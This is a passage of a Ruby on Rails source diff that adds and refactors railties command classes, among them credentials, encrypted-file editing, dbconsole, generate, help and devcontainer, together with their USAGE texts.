+            backtrace = current_filter.call(backtrace)
+            Rails.backtrace_cleaner.filter(backtrace)
+          end
+        else
+          IRB.conf[:BACKTRACE_FILTER] = -> (backtrace) do
+            Rails.backtrace_cleaner.filter(backtrace)
+          end
+        end
+
+        # Respect user's choice of prompt mode.
+        IRB.conf[:PROMPT_MODE] = :RAILS_PROMPT if IRB.conf[:PROMPT_MODE] == :DEFAULT
+        IRB::Irb.new.run(IRB.conf)
+      end
+
+      def colorized_env
+        case Rails.env
+        when "development"
+          IRB::Color.colorize("dev", [:BLUE])
+        when "test"
+          IRB::Color.colorize("test", [:BLUE])
+        when "production"
+          IRB::Color.colorize("prod", [:RED])
+        else
+          IRB::Color.colorize(Rails.env, [:MAGENTA])
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/credentials/USAGE b/railties/lib/rails/commands/credentials/USAGE
new file mode 100644
index 0000000000000..ecfea0f990eed
--- /dev/null
+++ b/railties/lib/rails/commands/credentials/USAGE
@@ -0,0 +1,73 @@
+Description:
+    The Rails `credentials` commands provide access to encrypted credentials,
+    so you can safely store access tokens, database passwords, and the like
+    safely inside the app without relying on a mess of ENVs.
+
+    This also allows for atomic deploys: no need to coordinate key changes
+    to get everything working as the keys are shipped with the code.
+
+Setup:
+    Applications after Rails 5.2 automatically have a basic credentials file generated
+    that just contains the secret_key_base used by MessageVerifiers/MessageEncryptors, like the ones
+    signing and encrypting cookies.
+
+    For applications created prior to Rails 5.2, we'll automatically generate a new
+    credentials file in `config/credentials.yml.enc` the first time you run `<%= executable(:edit) %>`.
+    If you didn't have a master key saved in `config/master.key`, that'll be created too.
+
+    Don't lose this master key! Put it in a password manager your team can access.
+    Should you lose it no one, including you, will be able to access any encrypted
+    credentials.
+
+    Don't commit the key! Add `config/master.key` to your source control's
+    ignore file. If you use Git, Rails handles this for you.
+
+    Rails also looks for the master key in `ENV["RAILS_MASTER_KEY"]`, in case that
+    is easier to manage. You could set `RAILS_MASTER_KEY` in a deployment
+    configuration, or you could prepend it to your server's start command like so:
+
+        RAILS_MASTER_KEY="very-secret-and-secure" bin/rails server
+
+    If `ENV["RAILS_MASTER_KEY"]` is present, it takes precedence over
+    `config/master.key`.
+
+Set up Git to Diff Credentials:
+    Rails provides `<%= executable(:diff) %> --enroll` to instruct Git to call
+    `<%= executable(:diff) %>` when `git diff` is run on a credentials file.
+
+    Running the command enrolls the project such that all credentials files use the
+    "rails_credentials" diff driver in .gitattributes.
+
+    Additionally, since Git requires the driver itself to be set up in a config file
+    that isn't tracked, Rails automatically ensures it's configured when running
+    `<%= executable(:edit) %>`.
+
+    Otherwise each co-worker would have to run enable manually, including on each new
+    repo clone.
+
+    To disenroll from this feature, run `<%= executable(:diff) %> --disenroll`.
+
+Editing Credentials:
+    `<%= executable(:edit) %>` will open a temporary file in `$VISUAL` or `$EDITOR`
+    with the decrypted contents to edit the encrypted credentials.
+
+    When the temporary file is next saved the contents are encrypted and written to
+    `config/credentials.yml.enc` while the file itself is destroyed to prevent credentials
+    from leaking.
+
+Environment Specific Credentials:
+    The `credentials` command supports passing an `--environment` option to create an
+    environment specific override. That override will take precedence over the
+    global `config/credentials.yml.enc` file when running in that environment. So:
+
+        <%= executable(:edit) %> --environment development
+
+    will create `config/credentials/development.yml.enc` with the corresponding
+    encryption key in `config/credentials/development.key` if the credentials file
+    doesn't exist.
+
+    In addition to that, the default credentials lookup paths can be overridden through
+    `config.credentials.content_path` and `config.credentials.key_path`.
+
+    Just as with `config/master.key`, `ENV["RAILS_MASTER_KEY"]` takes precedence
+    over any environment specific or specially configured key files.
diff --git a/railties/lib/rails/commands/credentials/credentials_command.rb b/railties/lib/rails/commands/credentials/credentials_command.rb
new file mode 100644
index 0000000000000..c335f801754aa
--- /dev/null
+++ b/railties/lib/rails/commands/credentials/credentials_command.rb
@@ -0,0 +1,159 @@
+# frozen_string_literal: true
+
+require "pathname"
+require "active_support"
+require "rails/command/helpers/editor"
+require "rails/command/environment_argument"
+
+module Rails
+  module Command
+    class CredentialsCommand < Rails::Command::Base # :nodoc:
+      include Helpers::Editor
+      include EnvironmentArgument
+
+      require_relative "credentials_command/diffing"
+      include Diffing
+
+      desc "edit", "Open the decrypted credentials in `$VISUAL` or `$EDITOR` for editing"
+      def edit
+        load_environment_config!
+        load_generators
+
+        if environment_specified?
+          @content_path = "config/credentials/#{environment}.yml.enc" unless config.overridden?(:content_path)
+          @key_path = "config/credentials/#{environment}.key" unless config.overridden?(:key_path)
+        end
+
+        ensure_encryption_key_has_been_added
+        ensure_credentials_have_been_added
+        ensure_diffing_driver_is_configured
+
+        change_credentials_in_system_editor
+      end
+
+      desc "show", "Show the decrypted credentials"
+      def show
+        load_environment_config!
+
+        say credentials.read.presence || missing_credentials!
+      end
+
+      desc "diff", "Enroll/disenroll in decrypted diffs of credentials using git"
+      option :enroll, type: :boolean, default: false,
+        desc: "Enroll project in credentials file diffing with `git diff`"
+      option :disenroll, type: :boolean, default: false,
+        desc: "Disenroll project from credentials file diffing"
+      def diff(content_path = nil)
+        if @content_path = content_path
+          self.environment = extract_environment_from_path(content_path)
+          load_environment_config!
+
+          say credentials.read.presence || credentials.content_path.read
+        else
+          disenroll_project_from_credentials_diffing if options[:disenroll]
+          enroll_project_in_credentials_diffing if options[:enroll]
+        end
+      rescue ActiveSupport::MessageEncryptor::InvalidMessage
+        say credentials.content_path.read
+      end
+
+      desc "fetch PATH", "Fetch a value in the decrypted credentials"
+      def fetch(path)
+        load_environment_config!
+
+        if (yaml = credentials.read)
+          begin
+            value = YAML.load(yaml)
+            value = path.split(".").inject(value) do |doc, key|
+              doc.fetch(key)
+            end
+            say value.to_s
+          rescue KeyError, NoMethodError
+            say_error "Invalid or missing credential path: #{path}"
+            exit 1
+          end
+        else
+          missing_credentials!
+        end
+      end
+
+      private
+        def config
+          Rails.application.config.credentials
+        end
+
+        def content_path
+          @content_path ||= relative_path(config.content_path)
+        end
+
+        def key_path
+          @key_path ||= relative_path(config.key_path)
+        end
+
+        def credentials
+          @credentials ||= Rails.application.encrypted(content_path, key_path: key_path)
+        end
+
+        def ensure_encryption_key_has_been_added
+          return if credentials.key?
+
+          require "rails/generators/rails/encryption_key_file/encryption_key_file_generator"
+
+          encryption_key_file_generator = Rails::Generators::EncryptionKeyFileGenerator.new
+          encryption_key_file_generator.add_key_file(key_path)
+        end
+
+        def ensure_credentials_have_been_added
+          require "rails/generators/rails/credentials/credentials_generator"
+
+          Rails::Generators::CredentialsGenerator.new(
+            [content_path, key_path],
+            skip_secret_key_base: environment_specified? && %w[development test].include?(environment),
+            quiet: true
+          ).invoke_all
+        end
+
+        def change_credentials_in_system_editor
+          using_system_editor do
+            say "Editing #{content_path}..."
+            credentials.change { |tmp_path| system_editor(tmp_path) }
+            say "File encrypted and saved."
+            warn_if_credentials_are_invalid
+          end
+        rescue ActiveSupport::EncryptedFile::MissingKeyError => error
+          say error.message
+        rescue ActiveSupport::MessageEncryptor::InvalidMessage
+          say "Couldn't decrypt #{content_path}. Perhaps you passed the wrong key?"
+        end
+
+        def warn_if_credentials_are_invalid
+          credentials.validate!
+        rescue ActiveSupport::EncryptedConfiguration::InvalidContentError => error
+          say "WARNING: #{error.message}", :red
+          say ""
+          say "Your application will not be able to load '#{content_path}' until the error has been fixed.", :red
+        end
+
+        def missing_credentials!
+          if !credentials.key?
+            say_error "Missing '#{key_path}' to decrypt credentials. See `#{executable(:help)}`."
+          else
+            say_error "File '#{content_path}' does not exist. Use `#{executable(:edit)}` to change that."
+          end
+          exit 1
+        end
+
+        def relative_path(path)
+          Rails.root.join(path).relative_path_from(Rails.root).to_s
+        end
+
+        def extract_environment_from_path(path)
+          available_environments.find { |env| path.end_with?("#{env}.yml.enc") } || extract_custom_environment(path)
+        end
+
+        def extract_custom_environment(path)
+          path =~ %r{config/credentials/(.+)\.yml\.enc} && $1
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/credentials/credentials_command/diffing.rb b/railties/lib/rails/commands/credentials/credentials_command/diffing.rb
new file mode 100644
index 0000000000000..16fc22ee81b1f
--- /dev/null
+++ b/railties/lib/rails/commands/credentials/credentials_command/diffing.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+module Rails::Command::CredentialsCommand::Diffing # :nodoc:
+  GITATTRIBUTES_ENTRY = <<~END
+    config/credentials/*.yml.enc diff=rails_credentials
+    config/credentials.yml.enc diff=rails_credentials
+  END
+
+  def enroll_project_in_credentials_diffing
+    if enrolled_in_credentials_diffing?
+      say "Project is already enrolled in credentials file diffing."
+    else
+      gitattributes.write(GITATTRIBUTES_ENTRY, mode: "a")
+
+      say "Enrolled project in credentials file diffing!"
+      say ""
+      say "Rails will configure the Git diff driver for credentials when running `#{executable(:edit)}`. See `#{executable(:help)}` for more information."
+    end
+  end
+
+  def disenroll_project_from_credentials_diffing
+    if enrolled_in_credentials_diffing?
+      gitattributes.write(gitattributes.read.gsub(GITATTRIBUTES_ENTRY, ""))
+      gitattributes.delete if gitattributes.empty?
+
+      say "Disenrolled project from credentials file diffing!"
+    else
+      say "Project is not enrolled in credentials file diffing."
+    end
+  end
+
+  def ensure_diffing_driver_is_configured
+    configure_diffing_driver if enrolled_in_credentials_diffing? && !diffing_driver_configured?
+  end
+
+  private
+    def enrolled_in_credentials_diffing?
+      gitattributes.file? && gitattributes.read.include?(GITATTRIBUTES_ENTRY)
+    end
+
+    def diffing_driver_configured?
+      system "git config --get diff.rails_credentials.textconv", out: File::NULL
+    end
+
+    def configure_diffing_driver
+      system "git config diff.rails_credentials.textconv '#{executable(:diff)}'"
+      say "Configured Git diff driver for credentials."
+    end
+
+    def gitattributes
+      @gitattributes ||= (Rails::Command.root || Pathname.pwd).join(".gitattributes")
+    end
+end
diff --git a/railties/lib/rails/commands/db/system/change/change_command.rb b/railties/lib/rails/commands/db/system/change/change_command.rb
new file mode 100644
index 0000000000000..701277a115b7c
--- /dev/null
+++ b/railties/lib/rails/commands/db/system/change/change_command.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "rails/generators"
+require "rails/generators/rails/db/system/change/change_generator"
+
+module Rails
+  module Command
+    module Db
+      module System
+        class ChangeCommand < Base # :nodoc:
+          class_option :to, desc: "The database system to switch to."
+
+          def initialize(positional_args, option_args, *)
+            @argv = positional_args + option_args
+            super
+          end
+
+          desc "change", "Change `config/database.yml` and your database gem to the target database"
+          def perform(*)
+            Rails::Generators::Db::System::ChangeGenerator.start(@argv)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/dbconsole/dbconsole_command.rb b/railties/lib/rails/commands/dbconsole/dbconsole_command.rb
index 588fb06b158ed..05270ce43b032 100644
--- a/railties/lib/rails/commands/dbconsole/dbconsole_command.rb
+++ b/railties/lib/rails/commands/dbconsole/dbconsole_command.rb
@@ -1,3 +1,6 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/filters"
 require "rails/command/environment_argument"
 
 module Rails
@@ -8,126 +11,56 @@ def self.start(*args)
 
     def initialize(options = {})
       @options = options
+      @options[:environment] ||= Rails::Command.environment
     end
 
     def start
-      ENV["RAILS_ENV"] = @options[:environment] || environment
-
-      case config["adapter"]
-      when /^(jdbc)?mysql/
-        args = {
-          "host"      => "--host",
-          "port"      => "--port",
-          "socket"    => "--socket",
-          "username"  => "--user",
-          "encoding"  => "--default-character-set",
-          "sslca"     => "--ssl-ca",
-          "sslcert"   => "--ssl-cert",
-          "sslcapath" => "--ssl-capath",
-          "sslcipher" => "--ssl-cipher",
-          "sslkey"    => "--ssl-key"
-        }.map { |opt, arg| "#{arg}=#{config[opt]}" if config[opt] }.compact
-
-        if config["password"] && @options["include_password"]
-          args << "--password=#{config['password']}"
-        elsif config["password"] && !config["password"].to_s.empty?
-          args << "-p"
-        end
-
-        args << config["database"]
-
-        find_cmd_and_exec(["mysql", "mysql5"], *args)
-
-      when /^postgres|^postgis/
-        ENV["PGUSER"]     = config["username"] if config["username"]
-        ENV["PGHOST"]     = config["host"] if config["host"]
-        ENV["PGPORT"]     = config["port"].to_s if config["port"]
-        ENV["PGPASSWORD"] = config["password"].to_s if config["password"] && @options["include_password"]
-        find_cmd_and_exec("psql", config["database"])
-
-      when "sqlite3"
-        args = []
-
-        args << "-#{@options['mode']}" if @options["mode"]
-        args << "-header" if @options["header"]
-        args << File.expand_path(config["database"], Rails.respond_to?(:root) ? Rails.root : nil)
-
-        find_cmd_and_exec("sqlite3", *args)
-
-      when "oracle", "oracle_enhanced"
-        logon = ""
+      adapter_class.dbconsole(db_config, @options)
+    rescue NotImplementedError, ActiveRecord::AdapterNotFound, LoadError => error
+      abort error.message
+    end
 
-        if config["username"]
-          logon = config["username"]
-          logon << "/#{config['password']}" if config["password"] && @options["include_password"]
-          logon << "@#{config['database']}" if config["database"]
+    def db_config
+      @db_config ||= begin
+        # If the user provided a database, use that. Otherwise find
+        # the first config in the database.yml
+        config = if database
+          @db_config = configurations.configs_for(env_name: environment, name: database, include_hidden: true)
+        else
+          @db_config = configurations.find_db_config(environment)
         end
 
-        find_cmd_and_exec("sqlplus", logon)
-
-      when "sqlserver"
-        args = []
-
-        args += ["-D", "#{config['database']}"] if config["database"]
-        args += ["-U", "#{config['username']}"] if config["username"]
-        args += ["-P", "#{config['password']}"] if config["password"]
-
-        if config["host"]
-          host_arg = "#{config['host']}"
-          host_arg << ":#{config['port']}" if config["port"]
-          args += ["-S", host_arg]
+        unless config
+          missing_db = database ? "'#{database}' database is not" : "No databases are"
+          raise ActiveRecord::AdapterNotSpecified,
+            "#{missing_db} configured for '#{environment}'. Available configuration: #{configurations.inspect}"
         end
 
-        find_cmd_and_exec("sqsh", *args)
-
-      else
-        abort "Unknown command-line client for #{config['database']}."
+        config.validate!
+        config
       end
     end
 
-    def config
-      @config ||= begin
-        if configurations[environment].blank?
-          raise ActiveRecord::AdapterNotSpecified, "'#{environment}' database is not configured. Available configuration: #{configurations.inspect}"
-        else
-          configurations[environment]
-        end
-      end
+    def database
+      @options[:database]
     end
 
     def environment
-      Rails.respond_to?(:env) ? Rails.env : Rails::Command.environment
+      @options[:environment]
     end
 
     private
+      def adapter_class
+        ActiveRecord::ConnectionAdapters.resolve(db_config.adapter)
+      rescue LoadError
+        ActiveRecord::ConnectionAdapters::AbstractAdapter
+      end
+
       def configurations # :doc:
         require APP_PATH
         ActiveRecord::Base.configurations = Rails.application.config.database_configuration
         ActiveRecord::Base.configurations
       end
-
-      def find_cmd_and_exec(commands, *args) # :doc:
-        commands = Array(commands)
-
-        dirs_on_path = ENV["PATH"].to_s.split(File::PATH_SEPARATOR)
-        unless (ext = RbConfig::CONFIG["EXEEXT"]).empty?
-          commands = commands.map { |cmd| "#{cmd}#{ext}" }
-        end
-
-        full_path_command = nil
-        found = commands.detect do |cmd|
-          dirs_on_path.detect do |path|
-            full_path_command = File.join(path, cmd)
-            File.file?(full_path_command) && File.executable?(full_path_command)
-          end
-        end
-
-        if found
-          exec full_path_command, *args
-        else
-          abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
-        end
-      end
   end
 
   module Command
@@ -138,16 +71,16 @@ class DbconsoleCommand < Base # :nodoc:
         desc: "Automatically provide the password from database.yml"
 
       class_option :mode, enum: %w( html list line column ), type: :string,
-        desc: "Automatically put the sqlite3 database in the specified mode (html, list, line, column)."
+        desc: "Automatically put the sqlite3 database in the specified mode"
 
-      class_option :header, type: :string
+      class_option :header, type: :boolean
 
-      class_option :environment, aliases: "-e", type: :string,
-        desc: "Specifies the environment to run this console under (test/development/production)."
+      class_option :database, aliases: "--db", type: :string,
+        desc: "Specify the database to use."
 
+      desc "dbconsole", "Start a console for the database specified in config/database.yml"
       def perform
-        extract_environment_option_from_argument
-
+        boot_application!
         Rails::DBConsole.start(options)
       end
     end
diff --git a/railties/lib/rails/commands/destroy/destroy_command.rb b/railties/lib/rails/commands/destroy/destroy_command.rb
index 5b552b2070d28..462c3c3e8a29d 100644
--- a/railties/lib/rails/commands/destroy/destroy_command.rb
+++ b/railties/lib/rails/commands/destroy/destroy_command.rb
@@ -1,20 +1,28 @@
+# frozen_string_literal: true
+
 require "rails/generators"
 
 module Rails
   module Command
     class DestroyCommand < Base # :nodoc:
-      def help
-        Rails::Generators.help self.class.command_name
+      no_commands do
+        def help
+          boot_application!
+          load_generators
+
+          Rails::Generators.help self.class.command_name
+        end
       end
 
+      desc "destroy GENERATOR", "Remove code generated by `bin/rails generate`"
       def perform(*)
         generator = args.shift
         return help unless generator
 
-        require_application_and_environment!
-        Rails.application.load_generators
+        boot_application!
+        load_generators
 
-        Rails::Generators.invoke generator, args, behavior: :revoke, destination_root: Rails.root
+        Rails::Generators.invoke generator, args, behavior: :revoke, destination_root: Rails::Command.root
       end
     end
   end
diff --git a/railties/lib/rails/commands/dev/dev_command.rb b/railties/lib/rails/commands/dev/dev_command.rb
new file mode 100644
index 0000000000000..3ffcd403f7050
--- /dev/null
+++ b/railties/lib/rails/commands/dev/dev_command.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "rails/dev_caching"
+
+module Rails
+  module Command
+    class DevCommand < Base # :nodoc:
+      desc "cache", "Toggle Action Controller development mode caching on/off"
+      def cache
+        Rails::DevCaching.enable_by_file
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/devcontainer/devcontainer_command.rb b/railties/lib/rails/commands/devcontainer/devcontainer_command.rb
new file mode 100644
index 0000000000000..6909d4168dc25
--- /dev/null
+++ b/railties/lib/rails/commands/devcontainer/devcontainer_command.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require "rails/generators"
+require "rails/generators/rails/devcontainer/devcontainer_generator"
+
+module Rails
+  module Command
+    class DevcontainerCommand < Base # :nodoc:
+      desc "devcontainer", "Generate a Dev Container setup based on current application configuration"
+      def perform(*)
+        boot_application!
+
+        say "Generating Dev Container with the following options:"
+        devcontainer_options.each do |option, value|
+          say "#{option}: #{value}"
+        end
+
+        Rails::Generators::DevcontainerGenerator.new([], devcontainer_options).invoke_all
+      end
+
+      private
+        def devcontainer_options
+          @devcontainer_options ||= {
+            app_name: Rails.application.railtie_name.chomp("_application"),
+            app_folder: File.basename(Rails.root),
+            database: !!defined?(ActiveRecord) && database,
+            active_storage: !!defined?(ActiveStorage),
+            redis: !!((defined?(ActionCable) && !defined?(SolidCable)) || (defined?(ActiveJob) && !defined?(SolidQueue))),
+            system_test: File.exist?("test/application_system_test_case.rb"),
+            node: File.exist?(".node-version"),
+            kamal: File.exist?("config/deploy.yml"),
+          }
+        end
+
+        def database
+          adapter = ActiveRecord::Base.connection_db_config.adapter
+          adapter == "mysql2" ? "mysql" : adapter
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/encrypted/USAGE b/railties/lib/rails/commands/encrypted/USAGE
new file mode 100644
index 0000000000000..ed1bf324bf23f
--- /dev/null
+++ b/railties/lib/rails/commands/encrypted/USAGE
@@ -0,0 +1,23 @@
+Description: 
+    The Rails `encrypted` commands provide access to encrypted files or configurations.
+    See the `Rails.application.encrypted` documentation for using them in your app.
+
+Encryption Keys:
+    By default, Rails looks for the encryption key in `ENV["RAILS_MASTER_KEY"]` or
+    `config/master.key`, but that lookup can be overridden with `--key`:
+
+        <%= executable(:edit) %> config/encrypted_file.yml.enc --key config/encrypted_file.key
+
+    Don't commit the key! Add it to your source control's ignore file. If you use
+    Git, Rails handles this for you.
+
+Examples:
+    To edit or create an encrypted file use:
+
+        <%= executable(:edit) %> config/encrypted_file.yml.enc
+
+    This opens a temporary file in `$VISUAL` or `$EDITOR` with the decrypted contents for editing.
+
+    To print the decrypted contents of an encrypted file use:
+
+        <%= executable(:show) %> config/encrypted_file.yml.enc
diff --git a/railties/lib/rails/commands/encrypted/encrypted_command.rb b/railties/lib/rails/commands/encrypted/encrypted_command.rb
new file mode 100644
index 0000000000000..524e7e1c232f3
--- /dev/null
+++ b/railties/lib/rails/commands/encrypted/encrypted_command.rb
@@ -0,0 +1,97 @@
+# frozen_string_literal: true
+
+require "pathname"
+require "active_support"
+require "rails/command/helpers/editor"
+
+module Rails
+  module Command
+    class EncryptedCommand < Rails::Command::Base # :nodoc:
+      include Helpers::Editor
+
+      class_option :key, aliases: "-k", type: :string,
+        default: "config/master.key", desc: "The Rails.root relative path to the encryption key"
+
+      desc "edit", "Open the decrypted file in `$VISUAL` or `$EDITOR` for editing"
+      def edit(*)
+        load_environment_config!
+
+        ensure_encryption_key_has_been_added
+        ensure_encrypted_configuration_has_been_added
+
+        change_encrypted_configuration_in_system_editor
+      end
+
+      desc "show", "Show the decrypted contents of the file"
+      def show(*)
+        load_environment_config!
+
+        say encrypted_configuration.read.presence || missing_encrypted_configuration_message
+      end
+
+      private
+        def content_path
+          @content_path ||= args[0]
+        end
+
+        def key_path
+          options[:key]
+        end
+
+        def encrypted_configuration
+          @encrypted_configuration ||= Rails.application.encrypted(content_path, key_path: key_path)
+        end
+
+        def ensure_encryption_key_has_been_added
+          return if encrypted_configuration.key?
+          encryption_key_file_generator.add_key_file(key_path)
+        end
+
+        def ensure_encrypted_configuration_has_been_added
+          encrypted_file_generator.add_encrypted_file_silently(content_path, key_path)
+        end
+
+        def change_encrypted_configuration_in_system_editor
+          using_system_editor do
+            encrypted_configuration.change { |tmp_path| system_editor(tmp_path) }
+            say "File encrypted and saved."
+            warn_if_encrypted_configuration_is_invalid
+          end
+        rescue ActiveSupport::EncryptedFile::MissingKeyError => error
+          say error.message
+        rescue ActiveSupport::MessageEncryptor::InvalidMessage
+          say "Couldn't decrypt #{content_path}. Perhaps you passed the wrong key?"
+        end
+
+        def warn_if_encrypted_configuration_is_invalid
+          encrypted_configuration.validate!
+        rescue ActiveSupport::EncryptedConfiguration::InvalidContentError => error
+          say "WARNING: #{error.message}", :red
+          say ""
+          say "Your application will not be able to load '#{content_path}' until the error has been fixed.", :red
+        end
+
+        def encryption_key_file_generator
+          require "rails/generators"
+          require "rails/generators/rails/encryption_key_file/encryption_key_file_generator"
+
+          Rails::Generators::EncryptionKeyFileGenerator.new
+        end
+
+        def encrypted_file_generator
+          require "rails/generators"
+          require "rails/generators/rails/encrypted_file/encrypted_file_generator"
+
+          Rails::Generators::EncryptedFileGenerator.new
+        end
+
+        def missing_encrypted_configuration_message
+          if !encrypted_configuration.key?
+            "Missing '#{key_path}' to decrypt data. See `#{executable(:help)}`"
+          else
+            "File '#{content_path}' does not exist. Use `#{executable(:edit)} #{content_path}` to change that."
+          end
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/gem_help/USAGE b/railties/lib/rails/commands/gem_help/USAGE
new file mode 100644
index 0000000000000..5b89d662f70fa
--- /dev/null
+++ b/railties/lib/rails/commands/gem_help/USAGE
@@ -0,0 +1,16 @@
+Usage:
+  rails COMMAND [options]
+
+You must specify a command:
+
+  new          Create a new Rails application. "rails new my_app" creates a
+               new application called MyApp in "./my_app"
+  plugin new   Create a new Rails railtie or engine
+
+All commands can be run with -h (or --help) for more information.
+
+Inside a Rails application directory, some common commands are:
+
+  console      Start the Rails console
+  server       Start the Rails server
+  test         Run tests except system tests
diff --git a/railties/lib/rails/commands/gem_help/gem_help_command.rb b/railties/lib/rails/commands/gem_help/gem_help_command.rb
new file mode 100644
index 0000000000000..30bdd4a7ad620
--- /dev/null
+++ b/railties/lib/rails/commands/gem_help/gem_help_command.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Rails
+  module Command
+    class GemHelpCommand < Base # :nodoc:
+      hide_command!
+
+      def perform
+        say self.class.class_usage
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/generate/generate_command.rb b/railties/lib/rails/commands/generate/generate_command.rb
index aa8dab71b0148..45611949b8573 100644
--- a/railties/lib/rails/commands/generate/generate_command.rb
+++ b/railties/lib/rails/commands/generate/generate_command.rb
@@ -1,20 +1,27 @@
+# frozen_string_literal: true
+
 require "rails/generators"
 
 module Rails
   module Command
     class GenerateCommand < Base # :nodoc:
-      def help
-        Rails::Generators.help self.class.command_name
+      no_commands do
+        def help
+          boot_application!
+          load_generators
+
+          Rails::Generators.help self.class.command_name
+        end
       end
 
       def perform(*)
         generator = args.shift
         return help unless generator
 
-        require_application_and_environment!
+        boot_application!
         load_generators
 
-        ARGV.shift
+        ARGV.replace(args) # set up ARGV for third-party libraries
 
         Rails::Generators.invoke generator, args, behavior: :invoke, destination_root: Rails::Command.root
       end
diff --git a/railties/lib/rails/commands/help/USAGE b/railties/lib/rails/commands/help/USAGE
index c5f8ab72bb0bc..cc2ccb1b368c0 100644
--- a/railties/lib/rails/commands/help/USAGE
+++ b/railties/lib/rails/commands/help/USAGE
@@ -1,15 +1,17 @@
-The most common rails commands are:
- generate    Generate new code (short-cut alias: "g")
- console     Start the Rails console (short-cut alias: "c")
- server      Start the Rails server (short-cut alias: "s")
- test        Run tests (short-cut alias: "t")
- dbconsole   Start a console for the database specified in config/database.yml
-             (short-cut alias: "db")
-<% unless engine? %>
- new         Create a new Rails application. "rails new my_app" creates a
-             new application called MyApp in "./my_app"
-<% end %>
+Usage:
+  bin/rails COMMAND [options]
 
-All commands can be run with -h (or --help) for more information.
-In addition to those commands, there are:
+You must specify a command. The most common commands are:
+
+  generate     Generate new code (short-cut alias: "g")
+  console      Start the Rails console (short-cut alias: "c")
+  server       Start the Rails server (short-cut alias: "s")
+  test         Run tests except system tests (short-cut alias: "t")
+  test:system  Run system tests
+  dbconsole    Start a console for the database specified in config/database.yml
+               (short-cut alias: "db")
+<% unless engine? -%>
+  plugin new   Create a new Rails railtie or engine
+<% end -%>
 
+All commands can be run with -h (or --help) for more information.
diff --git a/railties/lib/rails/commands/help/help_command.rb b/railties/lib/rails/commands/help/help_command.rb
index 90d37217fc8df..c1c5bdb15115c 100644
--- a/railties/lib/rails/commands/help/help_command.rb
+++ b/railties/lib/rails/commands/help/help_command.rb
@@ -1,13 +1,34 @@
+# frozen_string_literal: true
+
 module Rails
   module Command
     class HelpCommand < Base # :nodoc:
       hide_command!
 
       def help(*)
-        puts self.class.desc
+        say self.class.class_usage
+      end
+
+      def help_extended(*)
+        help
 
-        Rails::Command.print_commands
+        say ""
+        say "In addition to those commands, there are:"
+        say ""
+
+        extended_commands = printing_commands_not_in_usage.sort_by(&:first)
+        print_table(extended_commands, truncate: true)
       end
+
+      private
+        COMMANDS_IN_USAGE = %w(generate console server test test:system dbconsole new)
+        private_constant :COMMANDS_IN_USAGE
+
+        def printing_commands_not_in_usage # :nodoc:
+          Rails::Command.printing_commands.reject do |command, _|
+            command.in?(COMMANDS_IN_USAGE)
+          end
+        end
     end
   end
 end
diff --git a/railties/lib/rails/commands/initializers/initializers_command.rb b/railties/lib/rails/commands/initializers/initializers_command.rb
new file mode 100644
index 0000000000000..06934cbcb703c
--- /dev/null
+++ b/railties/lib/rails/commands/initializers/initializers_command.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require "rails/command/environment_argument"
+
+module Rails
+  module Command
+    class InitializersCommand < Base # :nodoc:
+      include EnvironmentArgument
+
+      desc "initializers", "Print out all defined initializers in the order they are invoked by Rails."
+      def perform
+        boot_application!
+
+        Rails.application.initializers.tsort_each do |initializer|
+          say "#{initializer.context_class}.#{initializer.name}"
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/middleware/middleware_command.rb b/railties/lib/rails/commands/middleware/middleware_command.rb
new file mode 100644
index 0000000000000..dda38335dfc12
--- /dev/null
+++ b/railties/lib/rails/commands/middleware/middleware_command.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Rails
+  module Command
+    class MiddlewareCommand < Base # :nodoc:
+      desc "middleware", "Print out your Rack middleware stack"
+      def perform
+        boot_application!
+
+        Rails.configuration.middleware.each do |middleware|
+          say "use #{middleware.inspect}"
+        end
+        say "run #{Rails.application.class.name}.routes"
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/new/new_command.rb b/railties/lib/rails/commands/new/new_command.rb
index 74d1fa5021de0..b044e43c5a113 100644
--- a/railties/lib/rails/commands/new/new_command.rb
+++ b/railties/lib/rails/commands/new/new_command.rb
@@ -1,13 +1,19 @@
+# frozen_string_literal: true
+
 module Rails
   module Command
     class NewCommand < Base # :nodoc:
-      def help
-        Rails::Command.invoke :application, [ "--help" ]
+      self.bin = "rails"
+
+      no_commands do
+        def help
+          Rails::Command.invoke :application, [ "--help" ]
+        end
       end
 
       def perform(*)
-        puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
-        puts "Type 'rails' for help."
+        say "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
+        say "Type 'rails' for help."
         exit 1
       end
     end
diff --git a/railties/lib/rails/commands/notes/notes_command.rb b/railties/lib/rails/commands/notes/notes_command.rb
new file mode 100644
index 0000000000000..a09e30dbe90a0
--- /dev/null
+++ b/railties/lib/rails/commands/notes/notes_command.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "rails/source_annotation_extractor"
+
+module Rails
+  module Command
+    class NotesCommand < Base # :nodoc:
+      class_option :annotations, aliases: "-a", desc: "Filter by specific annotations, e.g. Foobar TODO", type: :array
+
+      desc "notes", "Show comments in your code annotated with FIXME, OPTIMIZE, and TODO"
+      def perform(*)
+        boot_application!
+
+        display_annotations
+      end
+
+      private
+        def display_annotations
+          annotations = options[:annotations] || Rails::SourceAnnotationExtractor::Annotation.tags
+          tag = (annotations.length > 1)
+
+          Rails::SourceAnnotationExtractor.enumerate annotations.join("|"), tag: tag, dirs: directories
+        end
+
+        def directories
+          Rails::SourceAnnotationExtractor::Annotation.directories
+        end
+    end
+  end
+end
